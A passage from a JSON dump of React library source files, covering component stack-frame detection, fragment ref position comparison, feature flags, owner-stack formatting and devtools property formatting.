}\n  try {\n    /**\n     * Finding a common stack frame between sample and control errors can be\n     * tricky given the different types and levels of stack trace truncation from\n     * different JS VMs. So instead we'll attempt to control what that common\n     * frame should be through this object method:\n     * Having both the sample and control errors be in the function under the\n     * `DescribeNativeComponentFrameRoot` property, + setting the `name` and\n     * `displayName` properties of the function ensures that a stack\n     * frame exists that has the method name `DescribeNativeComponentFrameRoot` in\n     * it for both control and sample stacks.\n     */\n    const RunInRootFrame = {\n      DetermineComponentFrameRoot(): [?string, ?string] {\n        let control;\n        try {\n          // This should throw.\n          if (construct) {\n            // Something should be setting the props in the constructor.\n            const Fake = function () {\n              throw Error();\n            };\n            // $FlowFixMe[prop-missing]\n            Object.defineProperty(Fake.prototype, 'props', {\n              set: function () {\n                // We use a throwing setter instead of frozen or non-writable props\n                // because that won't throw in a non-strict mode function.\n                throw Error();\n              },\n            });\n            if (typeof Reflect === 'object' && Reflect.construct) {\n              // We construct a different control for this case to include any extra\n              // frames added by the construct call.\n              try {\n                Reflect.construct(Fake, []);\n              } catch (x) {\n                control = x;\n              }\n              Reflect.construct(fn, [], Fake);\n            } else {\n              try {\n                Fake.call();\n              } catch (x) {\n                control = x;\n              }\n              // $FlowFixMe[prop-missing] found when upgrading Flow\n              fn.call(Fake.prototype);\n            }\n          } else {\n            try {\n              throw Error();\n            } catch (x) {\n              control = x;\n            }\n            // TODO(luna): This will currently only throw if the function component\n            // tries to access React/ReactDOM/props. We should probably make this throw\n            // in simple components too\n            const maybePromise = fn();\n\n            // If the function component returns a promise, it's likely an async\n            // component, which we don't yet support. Attach a noop catch handler to\n            // silence the error.\n            // TODO: Implement component stacks for async client components?\n            if (maybePromise && typeof maybePromise.catch === 'function') {\n              maybePromise.catch(() => {});\n            }\n          }\n        } catch (sample) {\n          // This is inlined manually because closure doesn't do it for us.\n          if (sample && control && typeof sample.stack === 'string') {\n            return [sample.stack, control.stack];\n          }\n        }\n        return [null, null];\n      },\n    };\n    // $FlowFixMe[prop-missing]\n    RunInRootFrame.DetermineComponentFrameRoot.displayName =\n      'DetermineComponentFrameRoot';\n    const namePropDescriptor = Object.getOwnPropertyDescriptor(\n      RunInRootFrame.DetermineComponentFrameRoot,\n      'name',\n    );\n    // Before ES6, the `name` property was not configurable.\n    if (namePropDescriptor && namePropDescriptor.configurable) {\n      // V8 utilizes a function's `name` property when generating a stack trace.\n      Object.defineProperty(\n        RunInRootFrame.DetermineComponentFrameRoot,\n        // Configurable properties can be updated even if its writable descriptor\n        // is set to `false`.\n        // $FlowFixMe[cannot-write]\n        'name',\n        {value: 'DetermineComponentFrameRoot'},\n      );\n    }\n\n    const [sampleStack, controlStack] =\n      RunInRootFrame.DetermineComponentFrameRoot();\n    if (sampleStack && controlStack) {\n      // This extracts the first frame from the sample that isn't also in the control.\n      // Skipping one frame that we assume is the frame that calls the two.\n      const sampleLines = sampleStack.split('\\n');\n      const controlLines = controlStack.split('\\n');\n      let s = 0;\n      let c = 0;\n      while (\n        s < sampleLines.length &&\n        !sampleLines[s].includes('DetermineComponentFrameRoot')\n      ) {\n        s++;\n      }\n      while (\n        c < controlLines.length &&\n        !controlLines[c].includes('DetermineComponentFrameRoot')\n      ) {\n        c++;\n      }\n      // We couldn't find our intentionally injected common root frame, attempt\n      // to find another common root frame by search from the bottom of the\n      // control stack...\n      if (s === sampleLines.length || c === controlLines.length) {\n        s = sampleLines.length - 1;\n        c = controlLines.length - 1;\n        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {\n          // We expect at least one stack frame to be shared.\n          // Typically this will be the root most one. However, stack frames may be\n          // cut off due to maximum stack limits. In this case, one maybe cut off\n          // earlier than the other. We assume that the sample is longer or the same\n          // and there for cut off earlier. So we should find the root most frame in\n          // the sample somewhere in the control.\n          c--;\n        }\n      }\n      for (; s >= 1 && c >= 0; s--, c--) {\n        // Next we find the first one that isn't the same which should be the\n        // frame that called our sample function and the control.\n        if (sampleLines[s] !== controlLines[c]) {\n          // In V8, the first line is describing the message but other VMs don't.\n          // If we're about to return the first line, and the control is also on the same\n          // line, that's a pretty good indicator that our sample threw at same line as\n          // the control. I.e. before we entered the sample frame. So we ignore this result.\n          // This can happen if you passed a class to function component, or non-function.\n          if (s !== 1 || c !== 1) {\n            do {\n              s--;\n              c--;\n              // We may still have similar intermediate frames from the construct call.\n              // The next one that isn't the same should be our match though.\n              if (c < 0 || sampleLines[s] !== controlLines[c]) {\n                // V8 adds a \"new\" prefix for native classes. Let's remove it to make it prettier.\n                let frame = '\\n' + sampleLines[s].replace(' at new ', ' at ');\n\n                // If our component frame is labeled \"<anonymous>\"\n                // but we have a user-provided \"displayName\"\n                // splice it in to make the stack more readable.\n                if (fn.displayName && frame.includes('<anonymous>')) {\n                  frame = frame.replace('<anonymous>', fn.displayName);\n                }\n\n                if (__DEV__) {\n                  if (typeof fn === 'function') {\n                    componentFrameCache.set(fn, frame);\n                  }\n                }\n                // Return the line we found.\n                return frame;\n              }\n            } while (s >= 1 && c >= 0);\n          }\n          break;\n        }\n      }\n    }\n  } finally {\n    reentry = false;\n    if (__DEV__) {\n      ReactSharedInternals.H = previousDispatcher;\n      reenableLogs();\n    }\n    Error.prepareStackTrace = previousPrepareStackTrace;\n  }\n  // Fallback to just using the name if we couldn't make it throw.\n  const name = fn ? fn.displayName || fn.name : '';\n  const syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';\n  if (__DEV__) {\n    if (typeof fn === 'function') {\n      componentFrameCache.set(fn, syntheticFrame);\n    }\n  }\n  return syntheticFrame;\n}\n\nexport function describeClassComponentFrame(ctor: Function): string {\n  return describeNativeComponentFrame(ctor, true);\n}\n\nexport function describeFunctionComponentFrame(fn: Function): string {\n  return describeNativeComponentFrame(fn, false);\n}\n"
  },
  {
    "path": "packages/shared/ReactDOMFragmentRefShared.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * Shared logic for Fragment Ref operations for DOM and Fabric configs\n *\n * @flow\n */\n\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {getNextSiblingHostFiber} from 'react-reconciler/src/ReactFiberTreeReflection';\n\nexport function compareDocumentPositionForEmptyFragment<TPublicInstance>(\n  fragmentFiber: Fiber,\n  parentHostInstance: TPublicInstance,\n  otherNode: TPublicInstance,\n  getPublicInstance: (fiber: Fiber) => TPublicInstance,\n): number {\n  let result;\n  // If the fragment has no children, we can use the parent and\n  // siblings to determine a position.\n  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n  // $FlowFixMe[prop-missing]\n  const parentResult = parentHostInstance.compareDocumentPosition(otherNode);\n  result = parentResult;\n  if (parentHostInstance === otherNode) {\n    result = Node.DOCUMENT_POSITION_CONTAINS;\n  } else {\n    if (parentResult & Node.DOCUMENT_POSITION_CONTAINED_BY) {\n      // otherNode is one of the fragment's siblings. Use the next\n      // sibling to determine if its preceding or following.\n      const nextSiblingFiber = getNextSiblingHostFiber(fragmentFiber);\n      if (nextSiblingFiber === null) {\n        result = Node.DOCUMENT_POSITION_PRECEDING;\n      } else {\n        const nextSiblingInstance = getPublicInstance(nextSiblingFiber);\n        const nextSiblingResult =\n          // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n          // $FlowFixMe[prop-missing]\n          nextSiblingInstance.compareDocumentPosition(otherNode);\n        if (\n          nextSiblingResult === 0 ||\n          nextSiblingResult & Node.DOCUMENT_POSITION_FOLLOWING\n        ) {\n          result = Node.DOCUMENT_POSITION_FOLLOWING;\n        } else {\n          result = Node.DOCUMENT_POSITION_PRECEDING;\n        }\n      }\n    }\n  }\n\n  result |= Node.DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC;\n  return result;\n}\n"
  },
  {
    "path": "packages/shared/ReactDOMSharedInternals.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as ReactDOM from 'react-dom';\n\nconst ReactDOMSharedInternals =\n  ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\nexport default ReactDOMSharedInternals;\n"
  },
  {
    "path": "packages/shared/ReactElementType.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactDebugInfo} from './ReactTypes';\n\nexport type ReactElement = {\n  $$typeof: any,\n  type: any,\n  key: any,\n  ref: any,\n  props: any,\n  // __DEV__ or for string refs\n  _owner: any,\n\n  // __DEV__\n  _store: {validated: 0 | 1 | 2, ...}, // 0: not validated, 1: validated, 2: force fail\n  _debugInfo: null | ReactDebugInfo,\n  _debugStack: Error,\n  _debugTask: null | ConsoleTask,\n};\n"
  },
  {
    "path": "packages/shared/ReactFeatureFlags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\n// -----------------------------------------------------------------------------\n// Land or remove (zero effort)\n//\n// Flags that can likely be deleted or landed without consequences\n// -----------------------------------------------------------------------------\n\n// None\n\n// -----------------------------------------------------------------------------\n// Killswitch\n//\n// Flags that exist solely to turn off a change in case it causes a regression\n// when it rolls out to prod. We should remove these as soon as possible.\n// -----------------------------------------------------------------------------\n\n// -----------------------------------------------------------------------------\n// Land or remove (moderate effort)\n//\n// Flags that can be probably deleted or landed, but might require extra effort\n// like migrating internal callers or performance testing.\n// -----------------------------------------------------------------------------\n\n// Need to remove didTimeout argument from Scheduler before landing\nexport const disableSchedulerTimeoutInWorkLoop: boolean = false;\n\n// -----------------------------------------------------------------------------\n// Slated for removal in the future (significant effort)\n//\n// These are experiments that didn't work out, and never shipped, but we can't\n// delete from the codebase until we migrate internal callers.\n// -----------------------------------------------------------------------------\n\n// Add a callback property to suspense to notify which promises are currently\n// in the update queue. This allows reporting and tracing of what is causing\n// the user to see a loading state.\n//\n// Also allows hydration callbacks to fire when a dehydrated boundary gets\n// hydrated or deleted.\n//\n// This will eventually be replaced by the Transition Tracing proposal.\nexport const enableSuspenseCallback: boolean = false;\n\n// Experimental Scope support.\nexport const enableScopeAPI: boolean = false;\n\n// Experimental Create Event Handle API.\nexport const enableCreateEventHandleAPI: boolean = false;\n\n// Support legacy Primer support on internal FB www\nexport const enableLegacyFBSupport: boolean = false;\n\n// -----------------------------------------------------------------------------\n// Ongoing experiments\n//\n// These are features that we're either actively exploring or are reasonably\n// likely to include in an upcoming release.\n// -----------------------------------------------------------------------------\n\n// Yield to the browser event loop and not just the scheduler event loop before passive effects.\n// Fix gated tests that fail with this flag enabled before turning it back on.\nexport const enableYieldingBeforePassive: boolean = false;\n\n// Experiment to intentionally yield less to block high framerate animations.\nexport const enableThrottledScheduling: boolean = false;\n\nexport const enableLegacyCache = __EXPERIMENTAL__;\n\nexport const enableAsyncIterableChildren = __EXPERIMENTAL__;\n\nexport const enableTaint = __EXPERIMENTAL__;\n\nexport const enableViewTransition: boolean = true;\n\nexport const enableViewTransitionForPersistenceMode: boolean = false;\n\nexport const enableGestureTransition = __EXPERIMENTAL__;\n\nexport const enableScrollEndPolyfill = __EXPERIMENTAL__;\n\nexport const enableSuspenseyImages: boolean = false;\n\nexport const enableFizzBlockingRender = __EXPERIMENTAL__; // rel=\"expect\"\n\nexport const enableSrcObject = __EXPERIMENTAL__;\n\nexport const enableHydrationChangeEvent = __EXPERIMENTAL__;\n\nexport const enableDefaultTransitionIndicator = __EXPERIMENTAL__;\n\nexport const enableOptimisticKey = __EXPERIMENTAL__;\n\n/**\n * Switches Fiber creation to a simple object instead of a constructor.\n */\nexport const enableObjectFiber: boolean = false;\n\nexport const enableTransitionTracing: boolean = false;\n\n// FB-only usage. The new API has different semantics.\nexport const enableLegacyHidden: boolean = false;\n\n// Enables unstable_avoidThisFallback feature in Fiber\nexport const enableSuspenseAvoidThisFallback: boolean = false;\n\nexport const enableCPUSuspense = __EXPERIMENTAL__;\n\n// Test this at Meta before enabling.\nexport const enableNoCloningMemoCache: boolean = false;\n\n// Test in www before enabling in open source.\n// Enables DOM-server to stream its instruction set as data-attributes\n// (handled with an MutationObserver) instead of inline-scripts\nexport const enableFizzExternalRuntime = __EXPERIMENTAL__;\n\nexport const alwaysThrottleRetries: boolean = true;\n\n// Gate whether useEffectEvent uses the mutation phase (true) or before-mutation\n// phase (false) for updating event function references.\nexport const enableEffectEventMutationPhase: boolean = false;\n\nexport const passChildrenWhenCloningPersistedNodes: boolean = false;\n\nexport const enableEagerAlternateStateNodeCleanup: boolean = true;\n\n/**\n * Enables an expiration time for retry lanes to avoid starvation.\n */\nexport const enableRetryLaneExpiration: boolean = false;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\n\n/**\n * Enables a new error detection for infinite render loops from updates caused\n * by setState or similar outside of the component owning the state.\n */\nexport const enableInfiniteRenderLoopDetection: boolean = false;\n\nexport const enableFragmentRefs: boolean = true;\nexport const enableFragmentRefsScrollIntoView: boolean = true;\nexport const enableFragmentRefsInstanceHandles: boolean = true;\nexport const enableFragmentRefsTextNodes: boolean = true;\n\nexport const enableInternalInstanceMap: boolean = false;\n\n// -----------------------------------------------------------------------------\n// Ready for next major.\n//\n// Alias __NEXT_MAJOR__ to __EXPERIMENTAL__ for easier skimming.\n// -----------------------------------------------------------------------------\n\n// TODO: Anything that's set to `true` in this section should either be cleaned\n// up (if it's on everywhere, including Meta and RN builds) or moved to a\n// different section of this file.\n\n// const __NEXT_MAJOR__ = __EXPERIMENTAL__;\n\n/**\n * Removes legacy style context defined using static `contextTypes` and consumed with static `childContextTypes`.\n */\nexport const disableLegacyContext: boolean = true;\n/**\n * Removes legacy style context just from function components.\n */\nexport const disableLegacyContextForFunctionComponents: boolean = true;\n\n// Enable the moveBefore() alternative to insertBefore(). This preserves states of moves.\nexport const enableMoveBefore: boolean = false;\n\n// Disabled caching behavior of `react/cache` in client runtimes.\nexport const disableClientCache: boolean = true;\n\n// Warn on any usage of ReactTestRenderer\nexport const enableReactTestRendererWarning: boolean = true;\n\n// Disables legacy mode\n// This allows us to land breaking changes to remove legacy mode APIs in experimental builds\n// before removing them in stable in the next Major\nexport const disableLegacyMode: boolean = true;\n\n// -----------------------------------------------------------------------------\n// Chopping Block\n//\n// Planned feature deprecations and breaking changes. Sorted roughly in order of\n// when we plan to enable them.\n// -----------------------------------------------------------------------------\n\n// -----------------------------------------------------------------------------\n// React DOM Chopping Block\n//\n// Similar to main Chopping Block but only flags related to React DOM. These are\n// grouped because we will likely batch all of them into a single major release.\n// -----------------------------------------------------------------------------\n\n// Disable support for comment nodes as React DOM containers. Already disabled\n// in open source, but www codebase still relies on it. Need to remove.\nexport const disableCommentsAsDOMContainers: boolean = true;\n\nexport const enableTrustedTypesIntegration: boolean = true;\n\n// Prevent the value and checked attributes from syncing with their related\n// DOM properties\nexport const disableInputAttributeSyncing: boolean = false;\n\n// Disables children for <textarea> elements\nexport const disableTextareaChildren: boolean = false;\n\n// Disables children for <textarea> elements\nexport const enableParallelTransitions: boolean = false;\n\n// -----------------------------------------------------------------------------\n// Debugging and DevTools\n// -----------------------------------------------------------------------------\n\n// Gather advanced timing metrics for Profiler subtrees.\nexport const enableProfilerTimer = __PROFILE__;\n\n// Adds performance.measure() marks using Chrome extensions to allow formatted\n// Component rendering tracks to show up in the Performance tab.\n// This flag will be used for both Server Component and Client Component tracks.\n// All calls should also be gated on enableProfilerTimer.\nexport const enableComponentPerformanceTrack: boolean = true;\n\n// Enables annotating of React performance track events with `performanceIssue`\n// metadata, to more prominently highlight performance issues to users\n// (initially, an experimental feature in React Native).\nexport const enablePerformanceIssueReporting: boolean = false;\n\n// Adds user timing marks for e.g. state updates, suspense, and work loop stuff,\n// for an experimental timeline tool.\nexport const enableSchedulingProfiler: boolean =\n  !enableComponentPerformanceTrack && __PROFILE__;\n\n// Record durations for commit and passive effects phases.\nexport const enableProfilerCommitHooks = __PROFILE__;\n\n// Phase param passed to onRender callback differentiates between an \"update\" and a \"cascading-update\".\nexport const enableProfilerNestedUpdatePhase = __PROFILE__;\n\nexport const enableAsyncDebugInfo: boolean = true;\n\n// Track which Fiber(s) schedule render work.\nexport const enableUpdaterTracking = __PROFILE__;\n\nexport const ownerStackLimit = 1e4;\n\n// -----------------------------------------------------------------------------\n// eslint-plugin-react-hooks\n// -----------------------------------------------------------------------------\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n"
  },
  {
    "path": "packages/shared/ReactFlightPropertyAccess.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const OMITTED_PROP_ERROR =\n  'This object has been omitted by React in the console log ' +\n  'to avoid sending too much data from the server. Try logging smaller ' +\n  'or more specific objects.';\n"
  },
  {
    "path": "packages/shared/ReactIODescription.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function getIODescription(value: mixed): string {\n  if (!__DEV__) {\n    return '';\n  }\n  try {\n    switch (typeof value) {\n      case 'function':\n        return value.name || '';\n      case 'object':\n        // Test the object for a bunch of common property names that are useful identifiers.\n        // While we only have the return value here, it should ideally be a name that\n        // describes the arguments requested.\n        if (value === null) {\n          return '';\n        } else if (value instanceof Error) {\n          // eslint-disable-next-line react-internal/safe-string-coercion\n          return String(value.message);\n        } else if (typeof value.url === 'string') {\n          return value.url;\n        } else if (typeof value.href === 'string') {\n          return value.href;\n        } else if (typeof value.src === 'string') {\n          return value.src;\n        } else if (typeof value.currentSrc === 'string') {\n          return value.currentSrc;\n        } else if (typeof value.command === 'string') {\n          return value.command;\n        } else if (\n          typeof value.request === 'object' &&\n          value.request !== null &&\n          typeof value.request.url === 'string'\n        ) {\n          return value.request.url;\n        } else if (\n          typeof value.response === 'object' &&\n          value.response !== null &&\n          typeof value.response.url === 'string'\n        ) {\n          return value.response.url;\n        } else if (\n          typeof value.id === 'string' ||\n          typeof value.id === 'number' ||\n          typeof value.id === 'bigint'\n        ) {\n          // eslint-disable-next-line react-internal/safe-string-coercion\n          return String(value.id);\n        } else if (typeof value.name === 'string') {\n          return value.name;\n        } else {\n          const str = value.toString();\n          if (\n            str.startsWith('[object ') ||\n            str.length < 5 ||\n            str.length > 500\n          ) {\n            // This is probably not a useful description.\n            return '';\n          }\n          return str;\n        }\n      case 'string':\n        if (value.length < 5 || value.length > 500) {\n          return '';\n        }\n        return value;\n      case 'number':\n      case 'bigint':\n        // eslint-disable-next-line react-internal/safe-string-coercion\n        return String(value);\n      default:\n        // Not useful descriptors.\n        return '';\n    }\n  } catch (x) {\n    return '';\n  }\n}\n"
  },
  {
    "path": "packages/shared/ReactInstanceMap.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * `ReactInstanceMap` maintains a mapping from a public facing stateful\n * instance (key) and the internal representation (value). This allows public\n * methods to accept the user facing instance as an argument and map them back\n * to internal methods.\n *\n * Note that this module is currently shared and assumed to be stateless.\n * If this becomes an actual Map, that will break.\n */\n\nexport function get(key) {\n  return key._reactInternals;\n}\n\nexport function set(key, value) {\n  key._reactInternals = value;\n}\n"
  },
  {
    "path": "packages/shared/ReactOwnerStackFrames.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport DefaultPrepareStackTrace from 'shared/DefaultPrepareStackTrace';\n\nexport function formatOwnerStack(error: Error): string {\n  const prevPrepareStackTrace = Error.prepareStackTrace;\n  Error.prepareStackTrace = DefaultPrepareStackTrace;\n  let stack = error.stack;\n  Error.prepareStackTrace = prevPrepareStackTrace;\n  if (stack.startsWith('Error: react-stack-top-frame\\n')) {\n    // V8's default formatting prefixes with the error message which we\n    // don't want/need.\n    stack = stack.slice(29);\n  }\n  let idx = stack.indexOf('\\n');\n  if (idx !== -1) {\n    // Pop the JSX frame.\n    stack = stack.slice(idx + 1);\n  }\n  idx = stack.indexOf('react_stack_bottom_frame');\n  if (idx !== -1) {\n    idx = stack.lastIndexOf('\\n', idx);\n  }\n  if (idx !== -1) {\n    // Cut off everything after the bottom frame since it'll be internals.\n    stack = stack.slice(0, idx);\n  } else {\n    // We didn't find any internal callsite out to user space.\n    // This means that this was called outside an owner or the owner is fully internal.\n    // To keep things light we exclude the entire trace in this case.\n    return '';\n  }\n  return stack;\n}\n"
  },
  {
    "path": "packages/shared/ReactOwnerStackReset.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\n\nlet lastResetTime = 0;\n\nlet getCurrentTime: () => number | DOMHighResTimeStamp;\nconst hasPerformanceNow =\n  // $FlowFixMe[method-unbinding]\n  typeof performance === 'object' && typeof performance.now === 'function';\n\nif (hasPerformanceNow) {\n  const localPerformance = performance;\n  getCurrentTime = () => localPerformance.now();\n} else {\n  const localDate = Date;\n  getCurrentTime = () => localDate.now();\n}\n\nexport function resetOwnerStackLimit() {\n  if (__DEV__) {\n    const now = getCurrentTime();\n    const timeSinceLastReset = now - lastResetTime;\n    if (timeSinceLastReset > 1000) {\n      ReactSharedInternals.recentlyCreatedOwnerStacks = 0;\n      lastResetTime = now;\n    }\n  } else {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'resetOwnerStackLimit should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/shared/ReactPerformanceTrackProperties.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {OMITTED_PROP_ERROR} from 'shared/ReactFlightPropertyAccess';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\nimport isArray from 'shared/isArray';\nimport {REACT_ELEMENT_TYPE} from './ReactSymbols';\nimport getComponentNameFromType from './getComponentNameFromType';\n\nconst EMPTY_ARRAY = 0;\nconst COMPLEX_ARRAY = 1;\nconst PRIMITIVE_ARRAY = 2; // Primitive values only that are accepted by JSON.stringify\nconst ENTRIES_ARRAY = 3; // Tuple arrays of string and value (like Headers, Map, etc)\n\n// Showing wider objects in the devtools is not useful.\nconst OBJECT_WIDTH_LIMIT = 100;\n\nfunction getArrayKind(array: Object): 0 | 1 | 2 | 3 {\n  let kind: 0 | 1 | 2 | 3 = EMPTY_ARRAY;\n  for (let i = 0; i < array.length && i < OBJECT_WIDTH_LIMIT; i++) {\n    const value = array[i];\n    if (typeof value === 'object' && value !== null) {\n      if (\n        isArray(value) &&\n        value.length === 2 &&\n        typeof value[0] === 'string'\n      ) {\n        // Key value tuple\n        if (kind !== EMPTY_ARRAY && kind !== ENTRIES_ARRAY) {\n          return COMPLEX_ARRAY;\n        }\n        kind = ENTRIES_ARRAY;\n      } else {\n        return COMPLEX_ARRAY;\n      }\n    } else if (typeof value === 'function') {\n      return COMPLEX_ARRAY;\n    } else if (typeof value === 'string' && value.length > 50) {\n      return COMPLEX_ARRAY;\n    } else if (kind !== EMPTY_ARRAY && kind !== PRIMITIVE_ARRAY) {\n      return COMPLEX_ARRAY;\n    } else if (typeof value === 'bigint') {\n      return COMPLEX_ARRAY;\n    } else {\n      kind = PRIMITIVE_ARRAY;\n    }\n  }\n  return kind;\n}\n\nexport function addObjectToProperties(\n  object: Object,\n  properties: Array<[string, string]>,\n  indent: number,\n  prefix: string,\n): void {\n  let addedProperties = 0;\n  for (const key in object) {\n    if (hasOwnProperty.call(object, key) && key[0] !== '_') {\n      addedProperties++;\n      const value = object[key];\n      addValueToProperties(key, value, properties, indent, prefix);\n      if (addedProperties >= OBJECT_WIDTH_LIMIT) {\n        properties.push([\n          prefix +\n            '\\xa0\\xa0'.repeat(indent) +\n            'Only ' +\n            OBJECT_WIDTH_LIMIT +\n            ' properties are shown. React will not log more properties of this object.',\n          '',\n        ]);\n        break;\n      }\n    }\n  }\n}\n\nfunction readReactElementTypeof(value: Object): mixed {\n  // Prevents dotting into $$typeof in opaque origin windows.\n  return '$$typeof' in value && hasOwnProperty.call(value, '$$typeof')\n    ? value.$$typeof\n    : undefined;\n}\n\nexport function addValueToProperties(\n  propertyName: string,\n  value: mixed,\n  properties: Array<[string, string]>,\n  indent: number,\n  prefix: string,\n): void {\n  let desc;\n  switch (typeof value) {\n    case 'object':\n      if (value === null) {\n        desc = 'null';\n        break;\n      } else {\n        if (readReactElementTypeof(value) === REACT_ELEMENT_TYPE) {\n          // JSX\n          const typeName = getComponentNameFromType(value.type) || '\\u2026';\n          const key = value.key;\n          const props: any = value.props;\n          const propsKeys = Object.keys(props);\n          const propsLength = propsKeys.length;\n          if (key == null && propsLength === 0) {\n            desc = '<' + typeName + ' />';\n            break;\n          }\n          if (\n            indent < 3 ||\n            (propsLength === 1 && propsKeys[0] === 'children' && key == null)\n          ) {\n            desc = '<' + typeName + ' \\u2026 />';\n            break;\n          }\n          properties.push([\n            prefix + '\\xa0\\xa0'.repeat(indent) + propertyName,\n            '<' + typeName,\n          ]);\n          if (key !== null) {\n            addValueToProperties('key', key, properties, indent + 1, prefix);\n          }\n          let hasChildren = false;\n          let addedProperties = 0;\n          for (const propKey in props) {\n            addedProperties++;\n            if (propKey === 'children') {\n              if (\n                props.children != null &&\n                (!isArray(props.children) || props.children.length > 0)\n              ) {\n                hasChildren = true;\n              }\n            } else if (\n              hasOwnProperty.call(props, propKey) &&\n              propKey[0] !== '_'\n            ) {\n              addValueToProperties(\n                propKey,\n                props[propKey],\n                properties,\n                indent + 1,\n                prefix,\n              );\n            }\n\n            if (addedProperties >= OBJECT_WIDTH_LIMIT) {\n              break;\n            }\n          }\n          properties.push([\n            '',\n            hasChildren ? '>\\u2026</' + typeName + '>' : '/>',\n          ]);\n          return;\n        }\n        // $FlowFixMe[method-unbinding]\n        const objectToString = Object.prototype.toString.call(value);\n        let objectName = objectToString.slice(8, objectToString.length - 1);\n        if (objectName === 'Array') {\n          const array: Array<any> = (value: any);\n          const didTruncate = array.length > OBJECT_WIDTH_LIMIT;\n          const kind = getArrayKind(array);\n          if (kind === PRIMITIVE_ARRAY || kind === EMPTY_ARRAY) {\n            desc = JSON.stringify(\n              didTruncate\n                ? array.slice(0, OBJECT_WIDTH_LIMIT).concat('…')\n                : array,\n            );\n            break;\n          } else if (kind === ENTRIES_ARRAY) {\n            properties.push([\n              prefix + '\\xa0\\xa0'.repeat(indent) + propertyName,\n              '',\n            ]);\n            for (let i = 0; i < array.length && i < OBJECT_WIDTH_LIMIT; i++) {\n              const entry = array[i];\n              addValueToProperties(\n                entry[0],\n                entry[1],\n                properties,\n                indent + 1,\n                prefix,\n              );\n            }\n            if (didTruncate) {\n              addValueToProperties(\n                OBJECT_WIDTH_LIMIT.toString(),\n                '…',\n                properties,\n                indent + 1,\n                prefix,\n              );\n            }\n            return;\n          }\n        }\n        if (objectName === 'Promise') {\n          if (value.status === 'fulfilled') {\n            // Print the inner value\n            const idx = properties.length;\n            addValueToProperties(\n              propertyName,\n              value.value,\n              properties,\n              indent,\n              prefix,\n            );\n            if (properties.length > idx) {\n              // Wrap the value or type in Promise descriptor.\n              const insertedEntry = properties[idx];\n              insertedEntry[1] =\n                'Promise<' + (insertedEntry[1] || 'Object') + '>';\n              return;\n            }\n          } else if (value.status === 'rejected') {\n            // Print the inner error\n            const idx = properties.length;\n            addValueToProperties(\n              propertyName,\n              value.reason,\n              properties,\n              indent,\n              prefix,\n            );\n            if (properties.length > idx) {\n              // Wrap the value or type in Promise descriptor.\n              const insertedEntry = properties[idx];\n              insertedEntry[1] = 'Rejected Promise<' + insertedEntry[1] + '>';\n              return;\n            }\n          }\n          properties.push([\n            '\\xa0\\xa0'.repeat(indent) + propertyName,\n            'Promise',\n          ]);\n          return;\n        }\n        if (objectName === 'Object') {\n          const proto: any = Object.getPrototypeOf(value);\n          if (proto && typeof proto.constructor === 'function') {\n            objectName = proto.constructor.name;\n          }\n        }\n        properties.push([\n          prefix + '\\xa0\\xa0'.repeat(indent) + propertyName,\n          objectName === 'Object' ? (indent < 3 ? '' : '\\u2026') : objectName,\n        ]);\n        if (indent < 3) {\n          addObjectToProperties(value, properties, indent + 1, prefix);\n        }\n        return;\n      }\n    case 'function':\n      const functionName = value.name;\n      if (\n        functionName === '' ||\n        // e.g. proxied functions or classes with a static property \"name\" that's not a string\n        typeof functionName !== 'string'\n      ) {\n        desc = '() => {}';\n      } else {\n        desc = functionName + '() {}';\n      }\n      break;\n    case 'string':\n      if (value === OMITTED_PROP_ERROR) {\n        desc = '\\u2026'; // ellipsis\n      } else {\n        desc = JSON.stringify(value);\n      }\n      break;\n    case 'undefined':\n      desc = 'undefined';\n      